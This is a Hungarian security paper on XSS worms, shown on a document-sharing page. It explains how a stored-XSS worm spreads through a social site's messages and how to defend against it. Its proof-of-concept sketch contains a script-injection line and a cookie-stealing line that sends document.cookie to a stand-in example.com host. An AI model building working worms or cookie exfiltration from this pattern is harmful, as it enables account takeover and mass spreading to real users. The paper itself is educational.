XSS férgek és vírusok

Hasonló dokumentumok
Számítógépes vírusok. Barta Bettina 12. B

Webapp (in)security. Gyakori hibákról és azok kivédéséről fejlesztőknek és üzemeltetőknek egyaránt. Veres-Szentkirályi András

Történet. Számítógépes vírusok. Mik a vírusok? A vírusok felépítése

JavaScript bűvésztrükkök, avagy PDF olvasó és böngésző hackelés

Weboldalak biztonsága

1. Bevezető. 2. Sérülékenységek

IV. Számítógépes vírusok és védekezési módszerek

Adatbázisok elleni fenyegetések rendszerezése. Fleiner Rita BMF/NIK Robothadviselés 2009

Vírusok. - önreprodukcióra képes, károkat okozó program

Hogy miért akarnak lehallgatni minket az lehallgatónként változik.

1982-ben az akkor 15 éves amerikai diák, Rich Skrenta úgy döntött, hogy megvicceli ismerőseit, ezért írt egy programot. A kilencvenes évek közepén,

Gyimesi István fejlesztési vezető Cardinal Számítástechnikai Kft.

The banking Trojan Zeus. Készítette: Nagy Attila

5-ös lottó játék. Felhasználói dokumentáció

Memória játék. Felhasználói dokumentáció

Weboldalak Biztonsági Kérdései

Szabadkai Műszaki Szakfőiskola. Web programozás. dr Zlatko Čović

Sakk játék. Feladat: JavaScript segítségével olyan programot kell írni, ami egy sakktáblát szimulál. Kiválasztásra változtatják a helyüket.

Felhasználói kézikönyv. Verzió: 1.01

Web service fenyegetések e- közigazgatási. IT biztonsági tanácsadó

Felhasználói kézikönyv

Silent Signal Kft. Webáruházak informatikai biztonsága Veres-Szentkirályi András Marketingtorta - 4 1

A támadók gondolkodásmódjának változása egy banki malware evolúciójának tükrében

Sakk-játék. Bármilyen számítógépen működik, amin található böngésző és Java alkalmazás. Indító képernyő

Kezdő lépések. Céges . Tartalom

A jquery.clickheat egy jquery plugin, ami lekezeli a kattintásokat a kijelölt tartományban. jquery.clickheat

Vírusok és kártékony programok A vírus fogalma, típusai Vírusirtás Védelem

ECDL Információ és kommunikáció

Az Educatio weboldalain elhelyezhető hirdetések technikai paraméterei

telepítési útmutató K&H Bank Zrt.

Web programozás. 3. előadás

ELEKTRONIKUS MUNKABÉRJEGYZÉK MODUL

Elektronikus levelek. Az informatikai biztonság alapjai II.

Jquery. Konstantinusz Kft.

Flex: csak rugalmasan!

AVG. vírusirtó programok

Felhasználói kézikönyv

Kétcsatornás autentikáció

A CAPICOM ActiveX komponens telepítésének és használatának leírása Windows7 operációs rendszer és Internet Explorer 8-es verziójú böngésző esetén

Útmutató az ActiveX valamit az Internet Explorer egyéb beállításaihoz. Windows 7, 8, 8.1 és 10 operációs rendszerekhez

Miért kell a nyuszimat vakcinázni?

Drupal biztonság. Tuesday, April 3, 12

Bevezetés Működési elv AJAX keretrendszerek AJAX

Informatikai biztonság alapjai

Webszolgáltatások (WS)

Korszerű webes technológiák felhasználása a Moodle LMS rendszerben

Webes alkalmazások fejlesztése 1. előadás. Webes alkalmazások és biztonságuk

Szolgáltatási csomagok I-SZERVIZ Kft. érvényes szeptember 1-től

Adja meg, hogy ebben az esetben mely handshake üzenetek kerülnek átvitelre, és vázlatosan adja meg azok tartalmát! (8p)

HTML. Ismerkedés a JavaScripttel. A JavaScript lehet ségei. A JavaScript kód helye. Önálló JavaScript fájlok

SZÁMÍTÓGÉPES KÁRTEVŐK (MALWARE)

Allianz Titkosított Szolgáltatási Rendszer FAQ - Segítség a rendszer használatához

Mértékegységek a számítástechnikában

BIRDIE. Business Information Reporter and Datalyser. Előadó: Schneidler József

Tili-Toli játék. Felhasználói dokumentáció

Digitális aláíró program telepítése az ERA rendszeren

Számológép. Bármilyen számítógépen működik, amin található böngésző és Java alkalmazás. Indító képernyő

Alapfogalmak. Biztonság. Biztonsági támadások Biztonsági célok

DSD W3C WAI, avagy Weblapok akadálymentesítése

Útmutató az integrációhoz

Google App Engine az Oktatásban 1.0. ügyvezető MattaKis Consulting

Pénzügyi algoritmusok

A Zotero hivatkozáskezelő program bemutatása. Mátyás Melinda

Adatbázis kezelő szoftverek biztonsága. Vasi Sándor G-3S

Kezdő lépések Outlook Web Access

BEVEZETÉS AZ INTERNET ÉS A WORLD WIDE WEB VILÁGÁBA. Kvaszingerné Prantner Csilla, EKF

Tisztelt Felhasználó!

Az iskolai rendszerű képzésben az összefüggő szakmai gyakorlat időtartama. 10. évfolyam Adatbázis- és szoftverfejlesztés gyakorlat 50 óra

Webkezdő. A modul célja

A magyar elektronikus közigazgatási rendszer biztonsági analízise. Krasznay Csaba, Szigeti Szabolcs BME Informatikai Központ

Webes alkalmazások fejlesztése 1. előadás. Webes alkalmazások és biztonságuk. Cserép Máté

Bevezetés a Python programozási nyelvbe

DINA elektronikus napló felhasználói kézikönyv szülőknek

PHP alapjai, bevezetés. Vincze Dávid Miskolci Egyetem, IIT

Tartalom. A JavaScript haladó lehet ségei. Megjelenés. Viselkedés. Progresszív fejlesztés. A progresszív fejlesztés alapelvei

COOKIE (SÜTI) SZABÁLYZAT

Ficsor Lajos Általános Informatikai Tanszék Miskolci Egyetem

S&T CAD/PLM SuperUser Akadémia 2016

Heppen Szolgáltató Kft. Adatkezelési tájékoztató a weboldalon elhelyezett sütik használatáról

Objektumorientált programozás

TRBOnet Térinformatikai terminál és diszpécseri konzol

Web programoz as

1. tétel: A kommunikációs folyamat

ERserver. iseries. Az iseries Access for Windows használatának megkezdése

Tájékoztató az 1.10-es labor használatához

Adatbiztonság PPZH május 20.

A legjobb márkás vírusirtók ingyen

1. tétel: A kommunikációs folyamat

DHA VÉDELMI RENDSZER EREDMÉNYEINEK STATISZTIKAI VIZSGÁLATA

Web-fejlesztés NGM_IN002_1

2. Számlainformációk (a kiválasztott számlához kapcsolódó lekérdezések)

Az Internet felépítése

OCSP Stapling. Az SSL kapcsolatok sebességének növelése Apache, IIS és NginX szerverek esetén 1(10)

SZÓBELI ÉRETTSÉGI TÉMAKÖRÖK

Webtárhely létrehozása a helyen. Lépések Teendő 1. Böngészőbe beírni: 2. Jobb oldalon regisztrálni (tárhelyigénylés).

Sérülékenység kezelés. Komli József project manager PTA CERT-Hungary Központ

Tartalom. I. Rész A számítógép megosztása 5. Bevezetés 1. 1 n Saját profilt mindenkinek 7. Biztonsági programok 3 A könyvben használt jelek 4

Információbiztonsági kihívások. Horváth Tamás & Dellei László

IT hálózat biztonság. Hálózati támadások

Átírás:

XSS férgek és vírusok 1. Bevezetés: XSS 2. Bevezetés: féreg és vírus különbség 3. Felhasználhatóság 4. Fertőzés, terjeszkedés 5. Proof of Concept 6. Eltávolítás és Védekezés

1. Bevezetés: XSS Ez a paper megpróbálja bemutatni az XSS re épülő férgeket, és vírusokat. A leírás megértéséhez szükséges némi XSS alapismeret, így ajánlanám az olvasó figyelmébe az előző XSS ről szóló írásom. Ennek ellenére röviden: XSS avagy Cross Site Scripting, egy injection fajta. Támadható weboldalba ártalmas kódot szúrhatunk, amivel aztán különböző technikákat hajthatunk végre. XSS eknek két jól elkülöníthető fajtája van, a perzisztens, és a non perzisztens. Mind a kettő alkalmas a férgek/vírusok terjesztésére, viszont a jobb szemléltethetőség kedvéért a perzisztens hibákkal fogunk elméletben foglalkozni. Perzisztens XSS, ha a szolgáltató tárolja egy hibából fakadóan az ártalmas kódot, Non perzisztens, amikor a szolgáltató nem tárolja a kódot, csak közvetít a fertőző és a fertőzött között. 2. Bevezetés féreg és vírus különbség Régi probléma, hogy a nagy átlag nem ismeri a különbséget a féreg és a vírusok között. Pedig nem véletlenül van különböző neve a dolognak. Vírus: olyan programkódok, amik felhasználói segítséggel terjednek, más programokat fertőznek meg. A fertőzött program más programokat fertőz meg és így tovább. Féreg: önmagától terjed, nem feltétlen szükséges hozzá emberi beavatkozás. Javascript, HTML és egyéb nyelveknek köszönhetően, mára már a web is kinőtte annyira magát, hogy ezeket az említett funkciókat elláthassa. Mind férgeket, vírusokat de akár trójaikat is írhatunk a webre, csak egy hibás alkalmazás kell hozzá.

3. Felhasználhatóság Tekintsünk át egy kicsit a másik (remélhetőleg a rossz) oldalra. Szeretnénk egy jól működő szociális oldal felhasználóinak védett adatait megszerezni, vagy éppen a gépükre telepíteni valamilyen ártalmas kódot (pl. bináris trójait, botnethez klienst). Keresünk egy perzisztens XSS t a szolgáltatás oldalán, erre a környezetre írunk egy kódot, amit injektálva az oldalba a hibán keresztül, bárki megnézve/lefuttatva tovább terjeszti azt. A futtatás következménye hogy a kód bármit tehet a gépünkkel, ellophatja a cookie ainkat, így bárki használni tudja a webszolgáltatást a fertőzött jogaival, vagy éppen egy böngésző vagy böngésző plugin exploitot használva átveheti az uralmat a fertőzött gép felett, így kihasználhatja az erőforrásait (pl. botnetbe kötés). 4. Fertőzés, terjeszkedés Egy XSS vírus/féreg (továbbiakban csak féreg az egyszerűség kedvéért annak ellenére, hogy tisztában vagyunk a különbségekkel), a böngészőkön át terjed. A terjedéshez nem a böngészők hiányosságait illetve hibáit használja ki, hanem a webszolgáltatásokét. A férgek két részből állnak, a propagáló kódból, és a payloadból. A propagáló kód, az a rész, ami segítségével terjednek, viszik át magukat és a payloadot a következő fertőzöttre. A payload pedig a hasznos teher, ami a tényleges kódot tartalmazza, amivel a fertőzött félnek árthatunk. A férgek nem a felhasználókat fertőzik meg alapjáraton, hanem a webszolgáltatást, vagy annak egy részét. A felhasználók a fertőzött szolgáltatást megtekintve, segítenek a további fertőzésben, új lapok, al lapok fertőzését teszik lehetővé. Pl. egy szociális hálózatra hajazó weboldalon biztos, hogy találunk üzenetküldést. Ha ez a funkció sebezhető, akkor az üzenetet megkapó felhasználó böngészője felett átvehetjük az uralmat. Lekérdezhetjük az összes ismerősét, azoknak elküldhetjük az által megkapott üzenetet, amit ha megnéznek, akkor velük is ugyanez játszódhat le. Ez a fertőzés folyamata, a propagáló kód feladata. A payload a fertőzés után rögtön megint csak a böngészőben fut le. Lehet egy szimpla visszacsatolás a kód írójához, pl. a webszolgáltatáshoz tartozó felhasználói cookie elküldése, így a privilégiumok megszerzése nagyipari módszerként, vagy egy exploit futtatása egy jól vagy kevésbé jól ismert activex plugin ellen, és máris a böngészőn kívül az egész gép a támadó kezében van, mint tiszta erőforrás.

5. Proof of Concept Avagy bizonyíték a létezésre. Előző hónapokban egy versenyt írtak ki XSS férgek szaporításának megvalósítására, a győztes a legkisebb méretű lett. Nem a payload volt a lényeg, hanem a szaporítás mikéntje. A verseny mutatja, hogy rendkívül sokféleképpen lehet megírni a propagáló kódot. Egy fél pszeudó javascript XSS worm implementáció, kisebb átalakítással, tökéletesen működhet: Fertőző sor: <script type="text/javascript" src="http://example.com/worm.js"></script> worm.js function ismeros_kereses() iframe_letrehozas; iframe_neve.feldolgozas; // ID k kinyerése return id_tomb; function uzenet_kuldes(id) iframe_letrehozas; form_letrehozas; form_neve.inicializalas(); // ID, üzenet, method, action beállítás form_neve.submit(); // ID nek elküldi az üzenetet, aminek a tartalma a fertőző kód: // <script type="text/javascript" src="worm.js"></script> function cookie_lopas() iframe_lerehozas; iframe_neve.src='http://example.com/cookie.php?cookie='+document.cookie; function fertozz() i = 0; ids = ismeros_kereses(); while(ids[i]) uzenet_kuldes(ids[i++]); cookie_lopas(); document.onload = fertozz;

A fertőző kódot elsőként elküldve, szabadjára engedve megkezdődik a fertőzés. Az áldozat megnézi az üzeneteit, lefuttatja a megadott worm.js t, ami elősször lekérdezi az ismerőseit, majd üzenetet küld nekik, aminek a tartalma a fertőző kód. Végül a payload is lefut, ami a cookie_lopas() függvény, vagyis elküldi a támadónak az üzenetet megnéző áldozat cookie jait. 6. Eltávolítás és Védekezés Mint írtam a fertőzés nem érinti a felhasználó gépét, a böngésző, csak terjeszteni segít a férget, így eltávolítani csak a webszolgáltatásról kell, ez pedig a szolgáltató dolga. Perzisztens XSS eket pedig csak az adatbázisokból kell törölni, majd a fertőzéshez használt sebezhetőséget kijavítani. (Bővebben XSS white paper ömben). Felhasználók védekezni a fertőzés segítése ellen, böngésző kiegészítőkkel tudnak, pl Firefox hoz NoScript extension, vagy szimplán kikapcsoljuk a javascriptet. Bucsay Balázs http://www.rycon.hu earthquake[at]rycon[dot]hu